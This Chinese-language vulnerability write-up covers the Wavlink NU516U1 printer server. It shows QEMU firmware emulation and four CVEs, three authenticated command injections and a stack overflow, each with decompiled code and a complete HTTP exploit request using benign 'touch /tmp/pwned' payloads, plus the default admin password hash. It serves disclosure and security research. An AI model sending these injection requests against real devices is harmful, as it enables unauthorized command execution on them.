WAVLINK-NU516-V251208&V240425漏洞挖掘

Wavlink漏洞挖掘
2026-03-10 21:52
979

概述

供应商:Wavlink
产品:NU516U1
产品用途:USB打印机服务器
固件下载地址:https://docs.wavlink.xyz/Firmware/?category=USB+Printer+Server&model=all

固件模拟

# 宿主机网卡配置
sudo tunctl -t tap0 -u `whoami`
sudo ifconfig tap0 192.168.10.1/24 up

# qemu模拟
qemu-system-mipsel \
        -M malta \
        -cpu 74Kf\
        -kernel /home/iotsec-zone/Desktop/Tools/qemu-images/mipsel/vmlinux-3.2.0-4-4kc-malta \
        -hda /home/iotsec-zone/Desktop/Tools/qemu-images/mipsel/debian_wheezy_mipsel_standard.qcow2 \
        -append "root=/dev/sda1 console=ttyS0" \
        -net nic -net tap,ifname=tap0,script=no,downscript=no \
        -nographic

# 系统环境的配置
cd squashfs-root
mount --bind /proc/ proc/
mount --bind /sys/ sys/
mount --bind /dev/ dev/

# 虚拟机网卡配置
ip link add br0 type dummy
ifconfig eth0 192.168.10.2/24
ifconfig br0 192.168.10.3/24

chroot . /bin/sh
/usr/sbin/lighttpd -f /etc/lighttpd/lighttpd.conf

image.png

报错,创建需要的目录,在绝大多数路由器和 IoT 固件中,为了防止频繁读写损坏 Flash 闪存芯片,/var 通常被做成了一个软链接(符号链接),指向 /tmp。而在真实的设备启动时,/tmp 会被挂载为一个存在于内存中的 tmpfs(虚拟内存文件系统)。

用工具(比如 binwalk)把它解压到了硬盘上,这个软链接要么变成了一个死链,要么指向了一个不存在的地方,所以系统拒绝在里面创建文件夹。

暴力但最有效的解决办法:删掉重建

既然我们只是在 QEMU 里模拟运行 Web 服务,最简单粗暴的方法就是把这个假的 /var/tmp 删掉,然后把它们变成真正的文件夹。

# 强制删除原来的 /var 和 /tmp(无论它是文件还是死链)
rm -rf /var
rm -rf /tmp

# 重新把它们创建为真实的文件夹,并建立需要的子目录
mkdir -p /var/run
mkdir -p /var/log/lighttpd
mkdir -p /tmp/run
mkdir -p /tmp/log/lighttpd

# 再次尝试启动 lighttpd
/usr/sbin/lighttpd -f /etc/lighttpd/lighttpd.conf

访问 http://usblogin.link进入系统,登录默认密码:admin

image.png

CVE-2026-2615

Wavlink NU516U1 (V251208) 的"firewall.cgi"组件的"singlePortForwardDelete"功能的函数中通过"del_flag"参数存在远程命令执行漏洞

漏洞描述

Wavlink NU516U1 路由器固件(版本 M16U1_V251208)中的 /cgi-bin/firewall.cgi 组件存在命令注入漏洞。该漏洞位于处理 端口转发删除(singlePortForwardDelete) 功能的 sub_4016D0 函数中。厂商在处理 del_flag 参数时,调用了过滤函数 sub_405B2C 对用户输入进行检查。尽管该函数试图通过黑名单机制防止命令注入,但其实现不严谨,遗漏了关键的命令分隔符分号(;)。经过身份验证的远程攻击者可以通过构造包含分号的恶意 del_flag 参数,绕过输入验证,利用 sprintf 函数将任意 Shell 命令拼接到系统调用中执行。

该漏洞是针对厂商最新固件中该漏洞补丁被绕过、修复不完整的全新漏洞记录;在与 CVE-2025-10963 相关的旧固件 V240425 中,del_flag 参数因未做有效净化直接拼接至系统命令存在安全风险,厂商在新固件 V251208 中新增 sub_405B2C 输入过滤函数试图修复该漏洞,但经逆向工程发现其黑名单仅屏蔽 |、&、$ 等字符,却遗漏了分号,攻击者可借助该有缺陷的过滤器通过分号注入实现对原补丁的绕过。

漏洞详情

受影响组件/cgi-bin/firewall.cgi

受影响函数sub_4016D0 (主逻辑) & sub_405B2C (过滤逻辑)

在 ftext 函数中,通过用户输入获取防火墙参数的值。将防火墙参数的值设置为 singlePortForwardDelete 会调用 sub_4016D0 函数。

image.png

主逻辑执行:sub_4016D0 (漏洞的触发)

这个函数充当了“执行者”的角色,它盲目信任了经过上述过滤函数检查的数据。

  • 数据流向

    1. 获取输入:通过 sub_4042C8("del_flag", ...) 获取用户提交的 HTTP 参数 del_flag
    2. 调用过滤:调用 sub_405B2C(v2) 检查输入。如果函数返回 1(发现非法字符),则报错退出;如果返回 0(认为安全),则继续执行。
    3. 危险拼接:进入 else 分支后,程序使用 sprintf 函数将用户输入直接拼接到系统命令字符串中: sprintf(v5, "uci delete firewall.@redirect[%s]", v2);
    4. 命令执行:最后调用 sub_403734(v5)。这是一个 system() 函数的封装,它会将拼接好的字符串直接交给 /bin/sh 执行。

image.png

过滤逻辑失效:sub_405B2C (漏洞的根源)

这个函数充当了“安检员”的角色,但它的安检清单漏掉了一个最危险的违禁品。

  • 工作机制: 该函数接收用户输入的字符串,通过 while 循环遍历每一个字符,并使用 strchr 函数检查该字符是否存在于一个预定义的“黑名单”字符串中。
  • 黑名单内容: 代码中定义的黑名单非常长:"|`&<>$()"'[]{}*?!^~#%"。这涵盖了管道符、重定向、变量引用、子 shell 等大多数危险字符。
  • 致命缺陷 黑名单中唯独遗漏了分号 (;)

image.png

EXP

利用条件:需要有效的 Cookie。

构造数据包

POST /cgi-bin/firewall.cgi HTTP/1.1
Host: usblogin.link
Content-Length: 63
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://usblogin.link
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://usblogin.link/html/firewall.shtml
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: session=495266081
Connection: close

firewall=singlePortForwardDelete&del_flag=1;touch+/tmp/pwned;

image.png

验证成功
image.png

CVE-2026-3704

Wavlink NU516U1 (V251208)的"firewall.cgi"组件的"DMZ"功能函数中通过"dmz_flag"参数存在远程命令执行漏洞

漏洞描述

Wavlink NU516U1 路由器固件(版本 M16U1_V251208)中的 /cgi-bin/firewall.cgi 组件存在命令注入漏洞。该漏洞位于处理 DMZ 设置的 sub_4017F0 函数中。尽管厂商引入了过滤函数 sub_405B2C 试图修复旧版本(M16U1_V240425)的漏洞,但该黑名单过滤机制不严谨,遗漏了关键的命令分隔符分号(;)。经过身份验证的远程攻击者可以通过构造包含分号的恶意 dmz_flag 参数,绕过输入验证,利用 sprintf 函数将任意 Shell 命令拼接到系统调用中执行。

该漏洞是针对厂商最新固件中该漏洞补丁被绕过、修复不完整的全新漏洞记录。在与 CVE-2025-10959 相关的旧固件(V240425)中,dmz_flag 参数被无缝连接到系统命令中,且未做任何净化处理。在本报告中测试的新固件(V251208 )中,厂商试图通过引入全新的输入滤波器功能(sub_405B2C 来修补 CVE-2025-10959。然而,这次新补丁中存在一个关键逻辑缺陷:黑名单过滤器成功屏蔽了像 |&$ 这样的字符,但致命地省略了分号(;)命令分隔符。

漏洞详情

受影响组件/cgi-bin/firewall.cgi
受影响函数sub_4017F0 (主逻辑) & sub_405B2C (过滤逻辑)
在 ftext 函数中,通过用户输入获取防火墙参数的值。将防火墙参数的值设置为DMZ,会调用 sub_4017F0 函数。

image.png

触发逻辑:主函数 sub_4017F0 的盲目信任
主函数在调用了有缺陷的过滤器后,错误地认为输入已经安全,并将其拼接到系统命令中。
步骤 1:获取与检查

v6 = sub_4042C8("dmz_flag", a1, 1); 
v9 = (char *)strdup(v6);
if ( sub_405B2C(v9) == 1 )         
{
   return ...;
}

步骤 2:危险拼接

sprintf(cat_..., "uci delete firewall.@redirect[%s]", v9);
sub_403734(cat_...); // system()

程序使用了 sprintf 将输入的 v9 直接嵌入到了 uci delete 命令的方括号中。

过滤函数 sub_405B2C 的黑名单遗漏
这是漏洞存在的根本原因。开发者意识到了注入风险,编写了一个名为 sub_405B2C 的函数来过滤危险字符,但这个“安检员”手中的违禁品清单不完整。

  • 黑名单内容:代码中定义的非法字符集为:"|`&<>$()"'[]{}*?!^~#%"这里面包含了管道符 (|)、后台运行 (&)、重定向 (<>)、变量/子shell ($()) 等大多数 Shell 元字符。
  • 致命遗漏分号 (;) 不在黑名单中

image.png

EXP

利用条件:需要有效的Cookie。
构造数据包
image.png

POST /cgi-bin/firewall.cgi HTTP/1.1
Host: usblogin.link
Content-Length: 64
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://usblogin.link
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://usblogin.link/html/firewall.shtml
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: session=1470335067
Connection: close

firewall=DMZ&DMZEnabled=0&dmz_flag=1;touch+/tmp/pwned_seccess;

验证成功
image.png

CVE-2026-3612

Wavlink NU516U1 (V240425) 的 "adm.cgi" 组件的 "ota_new_upgrade" 功能的函数中通过 "firmware_url" 参数存在远程命令执行漏洞

漏洞描述

Wavlink NU516U1 路由器固件(版本 V240425)中的 /cgi-bin/adm.cgi 组件存在严重的命令注入漏洞。该漏洞位于处理 OTA 在线升级(ota_new_upgrade) 功能的 sub_405AF4 函数中。厂商在处理 firmware_url 参数时,直接将其拼接到系统命令中。尽管开发者试图使用双引号包裹参数以防止参数逃逸,但该防御方式无法阻止 Shell 命令替换。经过身份验证的远程攻击者可以通过构造包含 $() 或反引号的恶意 firmware_url 参数,绕过限制执行任意系统命令。

漏洞详情

image.png

  • 受影响组件/cgi-bin/adm.cgi
  • 受影响函数sub_405AF4 (OTA 升级处理逻辑)

adm.cgi 的主入口函数 ftext 中,程序根据用户提交的 page 参数分发逻辑。当 page 参数的值为 ota_new_upgrade 时,程序调用 sub_405AF4 函数。

主逻辑执行:sub_405AF4 (漏洞的触发)

该函数负责获取用户输入的升级参数并调用底层的升级脚本。

  1. 数据获取:函数通过 sub_40A9F8 分别获取 POST 请求中的 brandmodelversionmd5 以及最关键的 firmware_url 参数。
  2. 危险拼接:程序定义了一个大小为 1024 字节的缓冲区 v14,并使用 sprintf 函数构造系统命令:
sprintf(v14, "/bin/winstar_ota_upgrade.sh \"%s\" \"%s\" \"%s\" \"%s\"&", v7, v5, v11, v10);

其中 v10 对应用户输入的 firmware_url

  1. 命令执行:拼接完成后,程序直接调用 system(v14) 执行该命令字符串。

漏洞根源:Shell 双引号特性利用

漏洞的根本原因在于开发者错误地认为将参数包裹在双引号中("%s")是安全的。在 Linux Shell(如 /bin/sh)中,双引号内的内容仍然会进行命令替换

  • firmware_url 被传入 $(touch /tmp/pwned) 时。
  • 最终拼接的命令变为:/bin/winstar_ota_upgrade.sh "..." "..." "..." "$(touch /tmp/pwned)"&
  • Shell 在执行主命令前,会优先执行 $() 中的内容,导致 touch /tmp/pwned 被执行。由于程序未对 firmware_url 进行任何特殊字符过滤(如 $, (, )),攻击者可以轻松实现命令注入。

EXP

  • 利用条件:需要有效的 Session Cookie(即登录后的会话)。
  • 构造数据包
POST /cgi-bin/adm.cgi HTTP/1.1
Host: usblogin.link
Content-Length: 104
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://usblogin.link
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://usblogin.link/html/firewall.shtml
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: session=702857993
Connection: close

page=ota_new_upgrade&brand=wavlink&model=123&version=1.0&md5=123456&firmware_url=$(touch /tmp/pwned)

验证成功

发送上述数据包后,检查 QEMU 模拟环境或设备文件系统,发现 /tmp/pwned 文件已成功创建,证明远程代码执行成功。
image.png
image.png

CVE-2026-3613

Wavlink NU516U1 (V240425) login.cgi 组件 sub_401A0C 函数通过参数 "ipaddr" 存在栈缓冲区溢出漏洞

漏洞描述

在 Wavlink NU516U1 V240425 版本的固件中,/cgi-bin/login.cgi 组件的 sub_401A0C 函数存在栈缓冲区溢出漏洞。该函数主要用于处理 sys_login1 页面请求。函数内部在栈上定义了一个固定大小为 128 字节的缓冲区 v15。在验证密码 MD5 通过后,程序使用 sprintf 函数构造一条系统命令,将用户输入的 ipaddr 参数直接拼接到该缓冲区中。由于 sprintf 没有限制写入数据的长度,且程序未对 ipaddr 的长度进行校验,攻击者可以发送一个超长的字符串(超过约 105 字节)。当超长的 ipaddr 数据被写入 v15 时,会发生越界写入,覆盖栈上相邻的局部变量、保存的寄存器以及函数的返回地址,导致 CGI 进程崩溃。

漏洞详情

  • 漏洞函数sub_401A0C (处理 sys_login1 接口)
  • 漏洞点sprintf(v15, "web 2860 sys addUser \"%s\"", v4);
  • 触发参数ipaddr (对应代码中的 v4)
  • 先决条件:提交的 password 参数必须匹配管理员密码的 MD5 哈希值。

受影响代码片段 (sub_401A0C)
image.png

int __fastcall sub_401A0C(int a1)
{
  // ... 变量声明 ...
  _BYTE v15[128]; // [sp+120h] [-FCh] BYREF  <-- 漏洞缓冲区,大小 128 字节
  
  // ... 密码验证逻辑 ...
  wlink_uci_get_value("winstar", "system", "Password", v16, 64);
  // ... 计算 MD5 并比较 ...
  
  if ( !strncmp(v11, v14, 32) ) // 密码验证通过
  {
    memset(v15, 0, sizeof(v15));
    v15[0] = 48;
    
    // 漏洞点:将 v4 (用户输入的 ipaddr) 拼接到 v15
    // 固定前缀 "web 2860 sys addUser \"" 占用约 22 字节
    // 剩余空间约 106 字节。如果 ipaddr 超过此长度,将发生溢出。
    sprintf(v15, "web 2860 sys addUser \"%s\"", v4);
    
    system(v15);
    // ...
  }
  // ...
}

内存布局与溢出路径

  • 缓冲区v15:位于栈偏移 $sp + 0x120 (十进制 288),大小 128 字节。
  • 溢出后果:输入超长字符串后,sprintf 越界写入将破坏栈帧结构。
  • 崩溃确认:正常请求返回 HTTP 200,而溢出请求导致服务器返回 HTTP 500(内部服务器错误),这通常意味着 CGI 进程因段错误而崩溃。

EXP

利用条件

  1. 知道管理员密码的 MD5 值(默认 admin 的 MD5 为 21232f297a57a5a743894a0e4a801fc3)。
  2. 能够向 /cgi-bin/login.cgi 发送 POST 请求,需要有效的cookie。

构造数据包
发送一个包含超长 ipaddr 的 POST 请求。

POST /cgi-bin/login.cgi HTTP/1.1
Host: usblogin.link
Content-Length: 296
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://usblogin.link
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://usblogin.link/html/login.shtml
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Cookie: session=977176472
Connection: close

page=sys_login1&password=21232f297a57a5a743894a0e4a801fc3&ipaddr=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

验证结果

  • 正常请求:发送较短的 Payload,服务器返回 HTTP/1.1 200 OK
    image.png

  • 溢出请求:发送上述包含大量 'A' 的数据包,服务器返回 HTTP/1.1 500 Internal Server Error。这证实了栈缓冲区溢出导致了 CGI 进程崩溃。
    image.png

分享到

参与评论

0 / 200

全部评论 0

暂无人评论
投稿
签到
联系我们
关于我们